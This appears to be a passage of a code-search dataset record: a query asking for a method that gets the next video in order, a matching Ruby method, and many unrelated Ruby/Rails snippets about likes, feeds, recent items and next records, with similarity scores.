\"#{checkin.beer.beer_name} by #{checkin.brewery.brewery_name}\"\n end\n\n if beers.empty?\n response.reply(\"#{user} hasn't checked in any beers!\")\n else\n response.reply(\"#{user}'s last few beers: #{beers.join(', ')}\")\n end\n end",
"def yesterday\n today - 1\n end",
"def get_since(timestamp, limit=20)\n uri = '/api/v1/pulses/events'\n params = {limit: limit, since: timestamp}\n events = []\n begin\n json_data = get(uri, params)\n page = json_data['next']\n\n params = URI::decode_www_form(URI(page).query).to_h unless page.nil?\n\n events += json_data['results']\n end while !page.nil?\n\n results = []\n events.each do |event|\n results << OTX::Event.new(event)\n end\n\n return results\n end",
"def get_random_like(client)\n likes = client.favorites(self.get_uid_int, options = {count: 5})\n like = likes.sample\n end",
"def get_recent_view\n shows = Show.joins(:interests).where('interests.user_id' => self.id,\n 'interests.click' => [0,1]).order('interests.created_at DESC').limit(5)\n return shows.all\n end",
"def yesterday\n Time.now() - 86400\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n all_likes = Array.new\n i = 0\n while i < number_of_photos\n likes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n all_likes.push(likes)\n i = i + 1\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def _since_last_visit(date)\n preferences = current_user.feed_preferences.where(feed_uid: params[:feed]).first_or_create(last_visited: date, previous_last_visited: date)\n\n if preferences.last_visited.end_of_day <= date.end_of_day - 1.day\n preferences.previous_last_visited = preferences.last_visited\n preferences.last_visited = date\n preferences.save!\n end\n\n since_last = date.end_of_day - preferences.previous_last_visited.end_of_day\n range = [1, (since_last / 1.day).round].max\n\n [range, since_last]\n end",
"def day_link\n h.link_to_unless_current('24小时内热评', {action: :most_replied, id: object.id, limit: 'day'})\n end",
"def movies_disliked\n REDIS.smembers movies_disliked_key\n end",
"def get_posted_news(user_id,start,count)\n numitems = $r.zcard(\"user.posted:#{user_id}\").to_i\n news_ids = $r.zrevrange(\"user.posted:#{user_id}\",start,start+(count-1))\n return get_news_by_id(news_ids),numitems\nend",
"def likes\n @likes = @person.likes\n end",
"def recent_item\n raise MsdApi::Exception::InvalidParameter.new(_('errors.missing_param', key: :date)) unless params[:date]\n\n begin\n data = MsdApi::RedisRecentAnalytics.hgetall(epoch_date)\n @item = OpenStruct.new(data)\n rescue Exception => e\n render_error_json(_('errors.invalid_date'))\n end\n end",
"def popular\n @photos = Rails.cache.fetch(\"most_popular\", expires_in: 1.minute) { photo_service.most_popular }\n @liked_ids = user_logged_in? ? Like.where(user_id: session[:uid]).pluck(:photo_id) : []\n end",
"def likers \n self.likes.map {|like| like.user_id}\n end",
"def get_recent_fav\n shows = Show.joins(:interests).where('interests.user_id' => self.id,\n 'interests.click' => 2).order('interests.created_at DESC').limit(5)\n return shows.all\n end",
"def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end",
"def recent(n = 5)\n return @history[-n..-1] if n < @history.size\n return @history[0..n]\n end",
"def add_like(uid_of_liker)\n doc = get_document(@docs[:liked_by])\n\n Rails.logger.debug(doc.inspect)\n\n # unless this has already been liked by this person (liking_uid)\n unless doc[:users].include?(uid_of_liker)\n\n # add to front\n doc[:users].unshift(uid_of_liker)\n\n # store the array of uid's\n replace_document(@docs[:liked_by], doc)\n\n # increase the number of unique likes on this radlib\n increase_atomic_count(@docs[:num_likes])\n\n # add to likes_received for the author of this radlib\n author = find_user_by_uid(@uid)\n author.increment_num_likes_received if author\n\n Analytics.analyze_most_popular_radlibs(self)\n Analytics.analyze_user(author)\n true\n end\n\n false\n end",
"def likes_given(user_id)\n likes = Like.where(user_id: user_id)\n end",
"def getRecentTrack(username)\r\n connection = Request.new(\"http://ws.audioscrobbler.com/2.0/\")\r\n query =\r\n {\r\n :method => \"user.getrecenttracks\",\r\n :user => username,\r\n :limit => \"1\",\r\n :api_key => @apiKey\r\n }\r\n xml = connection.get(\"\", query)\r\n doc = XmlSimple.xml_in(xml)\r\n\r\n if(doc[\"status\"] == \"ok\")\r\n track = Hash.new\r\n if(doc[\"recenttracks\"][0][\"page\"] == \"0\")\r\n puts username + \" has not listened to any tracks\"\r\n track['artist'] = \"\"\r\n track['song'] = \"\"\r\n else\r\n track['artist'] = doc[\"recenttracks\"][0][\"track\"][0][\"artist\"][0][\"content\"]\r\n track['song'] = doc[\"recenttracks\"][0][\"track\"][0][\"name\"][0]\r\n end\r\n return track\r\n end\r\n puts \"\\tGet recent track failed\"\r\n puts \"\\t\"+doc[\"error\"][0][\"code\"][0]+\": \" +doc[\"error\"][0][\"content\"][0]\r\n return \"\"\r\n end",
"def likes\n @page.like_count\n end",
"def followed_since(model, relation = \"follow\")\n self.followees.where(:followee_type => model.class.name, :followee_id => model.id, relation: relation).first.try(:created_at)\n end",
"def likers\n likes.map do |like|\n like.user\n end\n end",
"def timeline\n @activities = UserActivity\n .select('user_activities.*, u1.name, u1.image, u2.name as user_name_affected, u2.id as user_id_affected, books.title, u3.name as user_name_status, u3.id as user_id_status, u3.image as user_image_status, content, s.image as status_image, location, amountlike')\n .joins('LEFT OUTER JOIN users u1 on user_activities.user_id = u1.\"id\"')\n .joins('LEFT OUTER JOIN books on user_activities.book_affected = books.\"id\"')\n .joins('LEFT OUTER JOIN users u2 on user_activities.user_affected = u2.\"id\"')\n .joins('LEFT OUTER JOIN statuses s on user_activities.status_id = s.\"id\"')\n .joins('LEFT OUTER JOIN users u3 on s.user_id = u3.id')\n .joins('LEFT OUTER JOIN (select COUNT(*) as amountlike, user_activity_id from like_activities group by user_activity_id) la on user_activities.id = la.user_activity_id')\n .order('user_activities.created_at DESC')\n like_activities = LikeActivity.where('user_id = ?', current_user.id)\n @likeArrOfCurrentUser = Array.new\n @activities.each_with_index do |activity, i|\n like_activities.each do |like_activity|\n if activity.id == like_activity.user_activity_id\n @likeArrOfCurrentUser.push(i)\n end\n end\n end\n return @activities, @likeArrOfCurrentUser\n end",
"def trackbacks(url, options={})\n results = handle_response(self.class.get(\"/trackbacks.json\", :query => {:url => url}.merge(options)))\n results.list.each do |trackback|\n trackback.date = Time.at(trackback.date)\n end\n Topsy::Page.new(results,Topsy::Tweet)\n end",
"def like\n @book.liked_by current_user\n redirect_to :back, :notice => \"Thanks for your vote...\"\n end",
"def post_like()\n puts \"Attempting to like the post\"\n puts \"Last post url: \", @_params\n# url = SensorAdapter.getUrl() + \"/likes\"\n url = @_params[\"last_post_url\"] + \"/likes\"\n puts url\n feed = SensorAdapter.post_query(url)\n\n redirect_to \"/chatter_feed/feed\"\n end",
"def likes\n self.cached_votes_total\n end",
"def get_latest_news(start=0,count=LatestNewsPerPage)\n numitems = $r.zcard(\"news.cron\")\n news_ids = $r.zrevrange(\"news.cron\",start,start+(count-1))\n return get_news_by_id(news_ids,:update_rank => true),numitems\nend",
"def follows\n @follows ||= refresh_follows\n end",
"def get_recent_bids(num)\n self.bids.sort_by {|bid| bid.created_at}.last(num)\n end",
"def tip_likes tip_id\n response = get(\"/tips/#{tip_id}/likes\")[\"response\"]\n @likes = response[\"likes\"]\n @likes[\"groups\"].each{ |group| group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}} if @likes and @likes[\"groups\"]\n end",
"def get_saved_news(user_id,start,count)\n numitems = $r.zcard(\"user.saved:#{user_id}\").to_i\n news_ids = $r.zrevrange(\"user.saved:#{user_id}\",start,start+(count-1))\n return get_news_by_id(news_ids),numitems\nend",
"def fetch_followers\n cache(:expire_in => 2.hours).following\n end",
"def recent_activities(count: 10)\n posts = Post.reorder(updated_at: :desc).where(user_id: id).limit(count)\n topics = Topic.reorder(updated_at: :desc).where(user_id: id).limit(count)\n activities = posts + topics\n activities.sort! { |x, y| y.updated_at <=> x.updated_at }\n activities.first(count)\n end",
"def unlike!\n new_count = self.like_count - 1\n if new_count < 0\n logger.error \"Song :: #{self.attributes.inspect} unliked by 1 \" <<\n \"would result in negative likes. Defaulting to 0 likes.\"\n new_count = 0\n end\n\n self.like_count = new_count\n self.save\n logger.debug \"Song :: #{self.title} unliked by 1.\"\n end",
"def past_popular\n if @page == 1 && @user.last_sign_out_at.present? && @user.last_sign_out_at <= 2.days.ago && @user.current_sign_in_at >= 1.minutes.ago\n popular_in(@user.last_sign_out_at, @user.last_sign_in_at).limit(6).includes(:hash_tags, :user, :owner).to_a\n else\n []\n end\n end",
"def like(user)\n likes << Like.new(user: user)\n end",
"def recent\n num_recent = 5\n entries = @@ledgers.find(\"owner\" => @sender).first['entries']\n\n if(entries.length < num_recent)\n num_recent = entries.length\n end\n\n reply = [\"Most recent ledger entries:\"]\n \n for n in 1..num_recent\n entry = entries[-n]\n reply.push(\"#{entry['action']}, #{entry['description']}, #{entry['value']}\")\n end\n\n @t.say(reply.join(\"\\n\"))\nend",
"def index\n #@new_post = Post.new\n @posts = Post.where(approved: true).order('created_at DESC').includes(:likes)\n end",
"def likes(user_id)\n\t\tfrom_instagram = retrieve_last_10_photos(user_id)\n\t\tnumber_of_photos = from_instagram[\"data\"].size\n\t\tall_likes = Array.new\n\t\ti = 0\n\t\twhile i < number_of_photos\n\t\t\tlikes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n\t\t\tall_likes.push(likes)\n\t\t\ti = i + 1\n\t\tend\n\n\t\tall_likes = all_likes.reduce(:+)\n\n\t\treturn all_likes\n\tend",
"def pull_recent_activity!\n earlier_steps_available = steps_available\n pull_activity! Date.current # always fetch today\n\n days_ago = 1\n while days_ago < 7 # only look back a week max\n date = Date.current - days_ago.days\n known = activity_for(date)\n fetched = pull_activity!(date)\n\n # abort if no different from what we thought\n break if (known.steps == fetched.steps) and\n (known.active_minutes == fetched.active_minutes) and\n (known.steps != 0 and known.active_minutes != 0)\n\n days_ago += 1\n end\n\n # return info in a hash for logging\n {\n player_id: self.id,\n player_name: self.name,\n days_fetched: days_ago + 1,\n steps_available: steps_available,\n new_steps_available: (steps_available - earlier_steps_available)\n }\n end",
"def show\n @tweet_likes = @tweet.likes\n end",
"def this_week_advertisers_first_seen\n ads = Ad.where(lang: @lang)\n render json: ads.unscope(:order).where(\"advertiser is not null\").group(\"advertiser\").having(\"min(created_at) > NOW() - interval '1 week'\").order(\"count_all desc\").count.map{|k, v| {advertiser: k, count: v} }\n end",
"def disliked_songs\n\t\tsongs.where(liked: false)\n\tend",
"def fetch_followed\n cache(:expire_in => 2.hours).followed\n end",
"def get_rating_history(list)\n neighbor_reviews = Review.where(restaurant_id: list).order(:review_time_stamp).all\n self_reviews = Review.where(restaurant_id: self.zomato_restaurant_id).order(:review_time_stamp).all\n dayspan = DateTime.strptime(neighbor_reviews.last.review_time_stamp.to_s,'%s').mjd - DateTime.strptime(neighbor_reviews.first.review_time_stamp.to_s,'%s').mjd\n no_of_points = dayspan > 300 ? (dayspan/150).round : 0\n no_of_points = neighbor_reviews.count if no_of_points > neighbor_reviews.count\n no_of_points = 8 if no_of_points > 8\n if no_of_points != 0\n interval = ((neighbor_reviews.last.review_time_stamp - neighbor_reviews.first.review_time_stamp)/no_of_points).round\n i = 0\n history = {}\n self_history = {}\n comprehensive_history = []\n time_points = 0\n while i < no_of_points\n time_points = neighbor_reviews.first.review_time_stamp + interval*i\n local_reviews = neighbor_reviews.where(\"review_time_stamp >= ? AND review_time_stamp <= ?\", time_points - interval/2, time_points + interval/2).order(\"ABS(review_time_stamp - #{time_points})\").first(neighbor_reviews.count/no_of_points)\n self_local_reviews = self_reviews.where(\"review_time_stamp >= ? AND review_time_stamp <= ?\", time_points - interval, time_points + interval).order(\"ABS(review_time_stamp - #{time_points})\").first(self_reviews.count/no_of_points)\n unless local_reviews == 0\n sum = 0\n local_reviews.each do |item|\n sum += item.review_rating != 0 ? item.review_rating : (item.rating_text == 'Positive' ? 4 : 2)\n end\n end\n history[Time.at(time_points).to_date] = sum/local_reviews.count\n i += 1\n if self_local_reviews.count == 0\n self_history[Time.at(time_points).to_date] = ((sum/local_reviews.count) + self.zomato_user_rating)/2\n end\n end\n comprehensive_history.push history\n comprehensive_history.push self_history\n comprehensive_history\n else\n nil\n end\n end",
"def been_here\n response[\"beenHere\"][\"count\"] if response[\"beenHere\"]\n end",
"def all_likers(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n picture_ids = from_instagram[\"data\"].map { |picture| picture[\"id\"] }\n \n likes = picture_ids.map do |media_id|\n search_url = \"https://api.instagram.com/v1/media/#{media_id}/likes?client_id=#{INSTAGRAM_CLIENT_ID}\"\n HTTParty.get(search_url)\n end\n\n likers_usernames = []\n \n likes.each do |photo_likes|\n photo_likes[\"data\"].each do |like|\n likers_usernames << like[\"username\"]\n end\n end\n\n return likers_usernames\n end",
"def sort_tweets_by_date\n\t\ttweets = @tweets.sort_by{|tweet| tweet.created_at}\n\tend",
"def history\n @submissions = current_user.submissions.order('created_at desc')\n end",
"def is_liked(comment)\n if Like.where(:likeable => comment ,:user_id => self.id).present?\n Like.where(:likeable => comment ,:user_id => self.id).last.like==true\n end\n end",
"def all_likers(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n media_ids = []\n i = 0\n while i < number_of_photos\n type = from_instagram[\"data\"][i][\"id\"]\n media_ids.push(type)\n i = i + 1\n end\n\n likers_results = media_ids.map do |media_id|\n search_url = \"https://api.instagram.com/v1/media/#{media_id}/likes?client_id=#{INSTAGRAM_CLIENT_ID}\"\n likers = HTTParty.get(search_url)\n end\n\n all_likers = Array.new\n likers_per_photo = Array.new\n\n # changed this to number_of_photos, make sure that still works\n i = 0\n while i < number_of_photos\n x = 0\n likes_per_photo = likers_results[i][\"data\"].size\n while x < likes_per_photo\n each_user_who_likes_photo = likers_results[i][\"data\"][x][\"username\"]\n all_likers = likers_per_photo.push(each_user_who_likes_photo)\n x = x + 1\n end\n i = i + 1\n end\n\n return all_likers\n end",
"def get_liked(username, track_id)\n @client.get(\"/users/#{username}/favorites/#{track_id}\")\n rescue SoundCloud::ResponseError\nend",
"def feed\n\t\t@goths = Goth.find(:all, :conditions => 'published_at IS NOT NULL', :limit => 10, :order => 'published_at DESC')\n\tend",
"def recent_feed_items(limit = 100)\n feed_items.order('created_at DESC').limit(limit)\n end",
"def fb_likes_url(access_token)\n \"https://graph.facebook.com/#{self.fb_object_id}?\" \\\n \"access_token=#{access_token}&fields=id,likes&\" \\\n \"likes.limit=50\"\n end",
"def past_events_list_current\n yesterday = Date.today.prev_day.day\n calendar = @browser.table(:class, \"calendarmonth calendartable\")\n @past_events_current = []\n\n rows = calendar.trs\n rows.each_with_index do |row,i|\n next if i == 0\n\n cells = row.tds\n\n cells.each do |cell|\n if cell.text.to_i <= yesterday && cell.text.to_i != 0 && cell.li.exists?\n cell_events = cell.lis\n\n cell_events.each do |event|\n @past_events_current.push(event.text)\n end\n end\n end\n end\n end",
"def recent\n @question = Question.new\n @questions = Question.all.reverse\n page_data = Feed.filter_by_page(params[:page], @questions)\n @questions = page_data[:items]\n @total_pages = page_data[:total_pages]\n @current_page = page_data[:current_page]\n end",
"def likes\n likers(User).count\n end",
"def favorite(client)\n\tensemble = client.search(\"#bonjour_monde\", result_type: \"recent\").take(25)\n#\tensemble.each do |tweet|\n\t\tclient.favorite(ensemble)\n#\tend\nend",
"def like_stream\n\n client_stream.filter(track: \"#boxing\") do |object|\n client.favorite(object) if object.is_a?(Twitter::Tweet)\n client.follow(object.user) if object.is_a?(Twitter::Tweet)\n end\nend"
] |
[
"0.60466987",
"0.5933825",
"0.59185225",
"0.5778807",
"0.5764836",
"0.5762797",
"0.57621896",
"0.57602346",
"0.5725603",
"0.5697936",
"0.56364685",
"0.55990434",
"0.55655414",
"0.55576384",
"0.55509365",
"0.5548458",
"0.55339324",
"0.5515068",
"0.5505095",
"0.5504594",
"0.5503781",
"0.5498256",
"0.5480326",
"0.5469098",
"0.5452699",
"0.54523116",
"0.54489607",
"0.54328245",
"0.54174006",
"0.5416226",
"0.5416158",
"0.5402317",
"0.54012346",
"0.5385367",
"0.537514",
"0.5360182",
"0.5329682",
"0.53045315",
"0.5301325",
"0.5280069",
"0.5268477",
"0.525893",
"0.52571064",
"0.5249745",
"0.5237522",
"0.5230647",
"0.5228654",
"0.5226824",
"0.5218588",
"0.5210831",
"0.52089506",
"0.52018774",
"0.5197125",
"0.5196943",
"0.5194362",
"0.5190797",
"0.5185186",
"0.5180633",
"0.5180108",
"0.51788324",
"0.51785326",
"0.51726204",
"0.5170519",
"0.5150482",
"0.5141463",
"0.51238936",
"0.51220256",
"0.51219857",
"0.51188755",
"0.5115427",
"0.5114428",
"0.51111674",
"0.5111045",
"0.5109863",
"0.5107807",
"0.5103566",
"0.5096706",
"0.50933623",
"0.5088851",
"0.50854474",
"0.5084903",
"0.50843763",
"0.50817704",
"0.50727874",
"0.506997",
"0.5068467",
"0.50658417",
"0.5061766",
"0.5052783",
"0.50524384",
"0.5049577",
"0.5049385",
"0.50477266",
"0.504765",
"0.5046058",
"0.5044207",
"0.50436443",
"0.5034747",
"0.5034431",
"0.5033614"
] |
0.70552945
|
0
|
gets the next video in the order. accepts an id.
|
def next_video(current_id)
@video_ids = airings.map {|a| a.video_id }
@current_index = @video_ids.index current_id.to_i
if @current_index
next_index = (@current_index + 1) % self.videos.count
Video.find(@video_ids[next_index])
else
# give the next video or the first if current_index not set.
Video.find(@video_ids[rand(self.videos.count)])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def next\n\t\tself.class.where(\"id > ?\", id).first\n\tend",
"def next\n \tself.class.where(\"id > ?\", id).first\n \tend",
"def next\n room.players.where(\"id > ?\", id).first || room.players.first\n end",
"def next_video\n if episode?\n episode = content.next_ep\n unless episode.nil?\n return episode.video\n end\n end\n end",
"def next\n self.class.where('id > ?', id).first\n end",
"def next\n self.class.where(\"id > ?\", id).where(:punto_venta_id => self.punto_venta_id).first\n end",
"def next\n\t\tquiz.quizpages.where(\"id > ?\", id).order(\"id ASC\").first\n\tend",
"def find_by_id(id)\n videos.where(id: id).as(Video).one\n end",
"def next\n self.next_id == -1 ? nil : self.story.cards.find(self.next_id)\n end",
"def next\n\t\t@curItem.where(\"id > ?\", id).order(\"id ASC\").first || @curItem.first\n\t\t@curItem.show\n\tend",
"def next_video_or_show\n ep = next_video\n if ep.nil?\n return content.show\n else\n return ep\n end\n end",
"def next_post\n self.class.first(:conditions => [\"id > ?\", id], :order => \"id asc\")\n end",
"def next\n\t self.class.where(\"deck_id == ?\", deck_id).where(\"id > ?\", id).first\n\tend",
"def video id, xml=nil\n vid = Video.new(id, self, xml)\n return nil if vid.id == -1\n return vid\n end",
"def next\n Photo.find_by_id(next_id) if next?\n end",
"def next\n \t\tNote.where([\"id > ?\", self.id]).first\n\tend",
"def get_video_by_id(args = {})\n receive_video_id? args\n receive_valid_thumbsize? args\n args = receive_should_validate? args\n\n get('redtube.Videos.getVideoById', args,\n [:video_id, :thumbsize], args[:should_validate])\n end",
"def current_video\n last_poll = Room.find(id).video_polls.second_to_last\n if last_poll\n if last_poll.played_video\n last_poll.played_video\n else\n last_poll.candidate_videos.first.video\n end\n else\n playlist.videos.first\n end\n end",
"def next_id\n self.class.where(\"id > ? and quiz_id = ?\", self.id, self.quiz_id).pluck(:id).first\n end",
"def next\n lesson.steps.where(\"id > ?\", id).first\n end",
"def next\n if next_listing = self.class.where(\"id > ?\", id).first\n next_listing\n else\n Listing.first\n end\n end",
"def next\n\t\tTask.order(:position).where(\"position > ?\", position).first\n\tend",
"def each_turns_next_video\n videos = user_rota.all.map{ |user| Video.next_for(user) }.compact\n if videos.any?\n videos\n else\n Video.pending\n end\n end",
"def next\n Section.where(\"id > ?\", id).order(id: :asc).limit(1).first\n end",
"def next_id=(id)\n self[:next_id] = id\n end",
"def find_next\n PcpItem.where( pcp_subject_id: pcp_subject_id ).where( 'id > ?', id ).first\n end",
"def next\n @next ||= Changeset.where([\"id > ? AND repository_id = ?\", id, repository_id]).order('id ASC').first\n end",
"def next_id\n self[:next_id]\n end",
"def next_episodes(show, name, id)\n db_show = TvShows.where(:user => session[:username]).where(:name => name).first\n\n if !db_show.nil?\n last_season = TvShows.where(:user => session[:username]).where(:name => name).first.season\n last_episode = TvShows.where(:user => session[:username]).where(:name => name).first.episode\n else\n last_season = 1\n last_episode = 1\n end\n\n current_season = Tmdb::Season.detail(id, last_season)\n if !current_season['episodes'].nil?\n episodes = current_season['episodes'][last_episode.to_i, current_season['episodes'].length]\n\n number_of_seasons = show['number_of_seasons']\n ((last_season.to_i + 1)..number_of_seasons.to_i).each do |season_number|\n season = Tmdb::Season.detail(id, season_number)\n new_episodes = season['episodes'][0, season['episodes'].length]\n episodes.concat(new_episodes)\n end\n episodes\n else\n nil\n end\n end",
"def next\n self.class.first(\n :conditions => {\n :user_id => self.user_id,\n :id_gt => self.id})\n end",
"def my_video(video_id)\n client.get_my_video(video_id)\n end",
"def video\n YouTubeApi.find_video(youtube_id)\n end",
"def next\n return Question.find_by(id: self.id + 1)\n end",
"def next\r\n\r\n Customer.first(:order => 'customers.id', :conditions => [\"customers.id > ?\", self.id])\r\n end",
"def next_id\n self.latest_id += 1\n end",
"def videos_for(items, key, options)\n items.body['items'].map{|item| item['id'] = item[key]['videoId']}\n\n if options[:parts] == %i(id)\n items\n else\n options[:ids] = items.body['items'].map{|item| item['id']}\n options[:offset] = nil\n fetch('/youtube/v3/videos', resource_params(options)).tap do |response|\n response.body['nextPageToken'] = items.body['nextPageToken']\n end\n end\n end",
"def next\n offering.admin_phases.find(:first, :conditions => ['sequence > ?', self.sequence], :order => 'sequence')\n end",
"def video\n\t\tVideo.find(self.video_id)\n\tend",
"def next\r\n\r\n BgWorker.first(:order => 'bg_workers.id', :conditions => [\"bg_workers.id > ?\", self.id])\r\n end",
"def show\n @videos = @video.responses\n @videos.unshift @video\n end",
"def next\n post_comments = self.post.comments #in order of id\n index = post_comments.index(self)\n return post_comments[index + 1]\n end",
"def next_id\n @id ||= 0\n @id += 1\n end",
"def next\n @next ||= WikiContent::Version.\n reorder('version ASC').\n includes(:author).\n where(\"wiki_content_id = ? AND version > ?\", wiki_content_id, version).first\n end",
"def get_next\n r = nil\n iterator_lock do\n if @iterator <= @last_id\n r = get(@iterator)\n @iterator += 1\n @iterator_file.write(\"#{@iterator.to_s(36)}\\n\")\n r\n else\n nil\n end\n end\n end",
"def next\n Expression.where('id > ? AND collection_id = ?', self.id, self.collection_id).order('id ASC').limit(1).first\n end",
"def next_id\n @next_id = ((start...(start + size)).to_a - leases.map { |l| l.id }).first\n end",
"def next\r\n\r\n User.first(:order => 'users.id', :conditions => [\"users.id > ?\", self.id])\r\n end",
"def get_movie (id)\n\t\taction = \"movie/\" + id\n\t\targument = \"&language=en-US\"\n\t\tresponse = call_api(action, argument)\n\t\tmovie = process_result(response)\n\tend",
"def perform(video_id)\n video = Video.get(video_id)\n flv_video = FFMPEG::Movie.new(video.flv)\n options = {\n resolution: flv_video.resolution,\n video_bitrate: flv_video.video_bitrate,\n audio_bitrate: flv_video.audio_bitrate\n }\n mp4_video = flv_video.transcode('uploads/' + video.id.to_s + '.mp4', options)\n video.update(mp4: mp4_video.path)\n end",
"def next_player_no\n\t\twhile @player_order.first && @skip_next_move[@player_order.first - 1] do\n\t\t\t@skip_next_move[@player_order.first - 1] = false\n\t\t\t@player_order.push(@player_order.first)\n\t\t\t@player_order.shift\n\t\tend\n\t\t@player_order.first\n\tend",
"def next_team_id\r\n id = team_ids.max { |p,q| p <=> q }\r\n id.nil? ? 1 : id + 1\r\n end",
"def next_in_playlist\n self.new_record? ? nil : (self.in_playlist? ? VirtualClassroomLesson.where(:user_id => self.user_id, :position => (self.position + 1)).first : nil)\n end",
"def next_question\n test.questions.order(:id).where(\"id > ?\", current_question.id).first\n end",
"def add_video\n\n @video_playlist = VideoPlaylist.find(params[:id])\n @video_playlist_item_position = VideoPlaylistItem.where(\"video_playlist_id=?\", params[:id])\n .order(\"position ASC\")\n .find(:last)\n @video_playlist_item_position = @video_playlist_item_position.nil? ? 1 : @video_playlist_item_position.position + 1\n @video_playlist_item = VideoPlaylistItem.new(video_playlist_id: params[:id],\n video_id: params[:video_id],\n position: @video_playlist_item_position)\n\n @notice=\"\"\n\n @video_to_add = Video.find(params[:video_id])\n\n if @video_playlist_item.save\n flash[:notice] = 'Video was successfully added.'\n session[:videos_search] = collection_to_id_array(@video_playlist.videos)\n end\n end",
"def show_youtube\n @youtube = YoutubeMovie.find(params[:id])\n s = @youtube.url.index(\"?v=\")\n e = @youtube.url.index(\"&\")\n @id = @youtube.url[s+3..e-1] rescue 1\n end",
"def vimeo_video_id\n self.vid = link.split('/').last\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def next(element_id)\n self.next(element_id, from: target)\n end",
"def next_id\n next_chapter = Chapter.where(\"book_id=? and section_id=? and sequence>=? and id<>?\",self.book_id,self.section_id,self.sequence,self.id).order(\"sequence asc\").limit(1)\n if next_chapter.count==0\n next_chapter = Chapter.where(\"book_id=? and section_id>? \",self.book_id,self.section_id).order(\"sequence asc\").limit(1)\n end\n \n if next_chapter.count==1\n next_chapter.first.id\n else\n 0\n end\n \n end",
"def set_video\n @video = Video.find_by id: params[:id]\n end",
"def next_player!\n end",
"def next\n index = @@list.index(self)\n if (!index)\n raise \"ERROR: Can't find given player\"\n end\n\n return index + 1 < @@list.length ? @@list[index + 1] : @@list[0]\n end",
"def download_video\n\t\t# preview_video_url = \"https://video.tvspielfilm.de/ivideo/video/10/9700610_1.mp4\"\n\n\t\tif preview_video_url.present?\t\n\t\t\tfilename = Pathname.new(preview_video_url).basename\n\t\t\tfilename = filename.to_s rescue \"#{Time.now.to_i}.mp4\"\n\t\t\t\n\t\t\tfilename = \"#{id}_#{filename}\"\n\n\t\t\tnew_file_path = \"#{Rails.root.to_s}/public/videos/#{filename}\"\n\t\t\topen(new_file_path, \"wb\") do |file| \n\t\t\t file.print open(preview_video_url).read\n\t\t\tend\n\t\t\tupload_video_at_s3(filename, new_file_path) \n\t\tend\n\tend",
"def next\r\n\r\n SmartQuery.first(:order => 'smart_queries.id', :conditions => [\"smart_queries.id > ?\", self.id])\r\n end",
"def video_by(video)\n vid = nil\n vid_regex = /(?:youtube.com|youtu.be).*(?:\\/|v=)([\\w-]+)/\n if video =~ vid_regex\n vid = $1\n else\n vid = video\n end\n video_id =\"http://gdata.youtube.com/feeds/api/videos/#{vid}?v=2#{@dev_key ? '&key='+@dev_key : ''}\"\n parser = YouTubeIt::Parser::VideoFeedParser.new(video_id)\n parser.parse\n end",
"def next_id(obj)\n current_value = get_current_value(obj.class.name)\n new_value = current_value.next\n @id[obj.class.name] = new_value\n new_value\n end",
"def add_video(tag)\n\n @driver.find_element(:link, 'Add Video').click\n\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:link_text, \"Save Video\") }\n\n # Type in URL of video into\n @driver.find_element(:id, 'videoUrlField').send_keys(tag)\n @driver.find_element(:link_text, \"Save Video\").click\n\n # Wait while video is processed\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:link_text, \"Edit Video\") }\n end",
"def video_id\n values[:video_id]\n end",
"def next_id\n next_id = \"sdc:\" + (current_id.to_i + 1).to_s\n next_id\n end",
"def show\n @video = Video.find(params[:id])\n end",
"def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end",
"def next_messages_id\n messages.max{|a,b| a[:id] <=> b[:id]}[:id] + 1\nend",
"def get_video_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.get_video ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling VideoApi.get_video\"\n end\n if @api_client.config.client_side_validation && id < 1\n fail ArgumentError, 'invalid value for \"id\" when calling VideoApi.get_video, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = \"/videos/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Video')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#get_video\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
